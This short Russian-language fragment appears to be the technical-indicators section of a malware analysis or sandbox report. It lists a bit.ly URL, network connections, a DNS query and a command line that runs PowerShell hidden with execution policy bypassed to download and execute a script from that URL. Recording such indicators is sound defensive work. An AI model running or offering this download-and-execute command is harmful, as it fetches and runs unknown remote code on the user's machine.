Техническая информация
- https://bit.ly/2ji6k6w
- nul
- 'bi#.ly':443
- 'bi#.ly':443
- DNS ASK bi#.ly
- '%WINDIR%\syswow64\cmd.exe' /c "powershell.exe -ep Bypass -nop -c iex ((new-object net.webclient).DownloadString('https://bit.ly/2Ji6K6W')) 2>NUL >NUL & exit"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c "powershell.exe -ep Bypass -nop -c iex ((new-object net.webclient).DownloadString('https://bit.ly/2Ji6K6W')) 2>NUL >NUL & exit"